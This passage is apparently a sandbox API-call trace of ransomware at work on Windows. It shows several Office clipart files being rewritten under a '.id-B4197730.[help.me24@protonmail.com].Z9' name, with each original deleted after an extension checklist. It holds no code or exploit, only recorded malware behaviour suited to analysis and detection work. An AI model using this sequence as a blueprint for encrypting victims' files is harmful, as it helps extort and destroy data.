	[0087.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0087.470] lstrlenW (lpString=".doc") returned 4
	[0087.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.470] lstrlenW (lpString=".docx") returned 5
	[0087.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.470] lstrlenW (lpString=".pdf") returned 4
	[0087.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.470] lstrlenW (lpString=".xls") returned 4
	[0087.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.470] lstrlenW (lpString=".xlsx") returned 5
	[0087.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.470] lstrlenW (lpString=".ppt") returned 4
	[0087.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0087.471] lstrlenW (lpString=".zip") returned 4
	[0087.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.471] lstrlenW (lpString=".rar") returned 4
	[0087.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.471] lstrlenW (lpString=".bz2") returned 4
	[0087.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.471] lstrlenW (lpString=".7z") returned 3
	[0087.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0087.471] lstrlenW (lpString=".dbf") returned 4
	[0087.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0087.471] lstrlenW (lpString=".1cd") returned 4
	[0087.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0087.471] lstrlenW (lpString=".jpg") returned 4
	[0087.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.471] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0087.471] lstrlenW (lpString="BS00186_.WMF") returned 12
	[0087.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0087.472] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=12788) returned 1
	[0087.472] CloseHandle (hObject=0x370) returned 1
	[0087.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x220
	[0087.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0087.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0087.472] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.472] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0087.472] GetLastError () returned 0x0
	[0087.472] ReadFile (in: hFile=0x370, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x31f4, lpOverlapped=0x0) returned 1
	[0087.526] WriteFile (in: hFile=0x37c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x3200, lpOverlapped=0x0) returned 1
	[0087.528] ReadFile (in: hFile=0x370, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.528] WriteFile (in: hFile=0x37c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.528] SetEndOfFile (hFile=0x37c) returned 1
	[0087.528] CloseHandle (hObject=0x37c) returned 1
	[0087.529] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.529] SetEndOfFile (hFile=0x370) returned 1
	[0087.530] CloseHandle (hObject=0x370) returned 1
	[0087.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0087.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1
	[0087.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0087.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0087.531] lstrlenW (lpString=".doc") returned 4
	[0087.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.531] lstrlenW (lpString=".docx") returned 5
	[0087.531] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.531] lstrlenW (lpString=".pdf") returned 4
	[0087.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.531] lstrlenW (lpString=".xls") returned 4
	[0087.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.531] lstrlenW (lpString=".xlsx") returned 5
	[0087.531] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.531] lstrlenW (lpString=".ppt") returned 4
	[0087.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0087.531] lstrlenW (lpString=".zip") returned 4
	[0087.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.531] lstrlenW (lpString=".rar") returned 4
	[0087.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.531] lstrlenW (lpString=".bz2") returned 4
	[0087.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.531] lstrlenW (lpString=".7z") returned 3
	[0087.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0087.531] lstrlenW (lpString=".dbf") returned 4
	[0087.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0087.531] lstrlenW (lpString=".1cd") returned 4
	[0087.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0087.532] lstrlenW (lpString=".jpg") returned 4
	[0087.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0087.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0087.532] lstrlenW (lpString=".doc") returned 4
	[0087.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.532] lstrlenW (lpString=".docx") returned 5
	[0087.532] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.532] lstrlenW (lpString=".pdf") returned 4
	[0087.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.532] lstrlenW (lpString=".xls") returned 4
	[0087.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.532] lstrlenW (lpString=".xlsx") returned 5
	[0087.532] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.532] lstrlenW (lpString=".ppt") returned 4
	[0087.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0087.532] lstrlenW (lpString=".zip") returned 4
	[0087.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.532] lstrlenW (lpString=".rar") returned 4
	[0087.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.532] lstrlenW (lpString=".bz2") returned 4
	[0087.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.532] lstrlenW (lpString=".7z") returned 3
	[0087.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0087.532] lstrlenW (lpString=".dbf") returned 4
	[0087.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0087.532] lstrlenW (lpString=".1cd") returned 4
	[0087.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0087.532] lstrlenW (lpString=".jpg") returned 4
	[0087.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.533] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0087.533] lstrlenW (lpString="BS00200_.WMF") returned 12
	[0087.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0087.533] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3104) returned 1
	[0087.533] CloseHandle (hObject=0x370) returned 1
	[0087.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x220
	[0087.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0087.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0087.533] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.534] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0087.534] GetLastError () returned 0x0
	[0087.534] ReadFile (in: hFile=0x370, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xc20, lpOverlapped=0x0) returned 1
	[0087.536] WriteFile (in: hFile=0x37c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xc30, lpOverlapped=0x0) returned 1
	[0087.537] ReadFile (in: hFile=0x370, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.537] WriteFile (in: hFile=0x37c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.537] SetEndOfFile (hFile=0x37c) returned 1
	[0087.538] CloseHandle (hObject=0x37c) returned 1
	[0087.538] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.538] SetEndOfFile (hFile=0x370) returned 1
	[0087.539] CloseHandle (hObject=0x370) returned 1
	[0087.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0087.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1
	[0087.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0087.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0087.540] lstrlenW (lpString=".doc") returned 4
	[0087.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.540] lstrlenW (lpString=".docx") returned 5
	[0087.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.540] lstrlenW (lpString=".pdf") returned 4
	[0087.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.540] lstrlenW (lpString=".xls") returned 4
	[0087.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.540] lstrlenW (lpString=".xlsx") returned 5
	[0087.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.540] lstrlenW (lpString=".ppt") returned 4
	[0087.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0087.540] lstrlenW (lpString=".zip") returned 4
	[0087.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.540] lstrlenW (lpString=".rar") returned 4
	[0087.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.540] lstrlenW (lpString=".bz2") returned 4
	[0087.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.540] lstrlenW (lpString=".7z") returned 3
	[0087.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0087.540] lstrlenW (lpString=".dbf") returned 4
	[0087.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0087.540] lstrlenW (lpString=".1cd") returned 4
	[0087.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0087.541] lstrlenW (lpString=".jpg") returned 4
	[0087.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0087.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0087.541] lstrlenW (lpString=".doc") returned 4
	[0087.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.541] lstrlenW (lpString=".docx") returned 5
	[0087.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.541] lstrlenW (lpString=".pdf") returned 4
	[0087.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.541] lstrlenW (lpString=".xls") returned 4
	[0087.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.541] lstrlenW (lpString=".xlsx") returned 5
	[0087.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.541] lstrlenW (lpString=".ppt") returned 4
	[0087.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0087.541] lstrlenW (lpString=".zip") returned 4
	[0087.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.541] lstrlenW (lpString=".rar") returned 4
	[0087.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.541] lstrlenW (lpString=".bz2") returned 4
	[0087.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.541] lstrlenW (lpString=".7z") returned 3
	[0087.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0087.541] lstrlenW (lpString=".dbf") returned 4
	[0087.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0087.541] lstrlenW (lpString=".1cd") returned 4
	[0087.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0087.541] lstrlenW (lpString=".jpg") returned 4
	[0087.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.542] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0087.542] lstrlenW (lpString="BS00224_.WMF") returned 12
	[0087.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0087.542] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=1588) returned 1
	[0087.542] CloseHandle (hObject=0x370) returned 1
	[0087.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x220
	[0087.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0087.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0087.542] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.542] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0087.546] GetLastError () returned 0x0
	[0087.547] ReadFile (in: hFile=0x370, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x634, lpOverlapped=0x0) returned 1
	[0087.577] WriteFile (in: hFile=0x37c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x640, lpOverlapped=0x0) returned 1
	[0087.578] ReadFile (in: hFile=0x370, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.578] WriteFile (in: hFile=0x37c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.579] SetEndOfFile (hFile=0x37c) returned 1
	[0087.579] CloseHandle (hObject=0x37c) returned 1
	[0087.580] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.580] SetEndOfFile (hFile=0x370) returned 1
	[0087.580] CloseHandle (hObject=0x370) returned 1
	[0087.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0087.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1
	[0087.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0087.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0087.581] lstrlenW (lpString=".doc") returned 4
	[0087.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.581] lstrlenW (lpString=".docx") returned 5
	[0087.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.581] lstrlenW (lpString=".pdf") returned 4
	[0087.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.581] lstrlenW (lpString=".xls") returned 4
	[0087.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.581] lstrlenW (lpString=".xlsx") returned 5
	[0087.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.581] lstrlenW (lpString=".ppt") returned 4
	[0087.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0087.582] lstrlenW (lpString=".zip") returned 4
	[0087.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.582] lstrlenW (lpString=".rar") returned 4
	[0087.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.582] lstrlenW (lpString=".bz2") returned 4
	[0087.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.582] lstrlenW (lpString=".7z") returned 3
	[0087.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0087.582] lstrlenW (lpString=".dbf") returned 4
	[0087.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0087.582] lstrlenW (lpString=".1cd") returned 4
	[0087.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0087.582] lstrlenW (lpString=".jpg") returned 4
	[0087.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
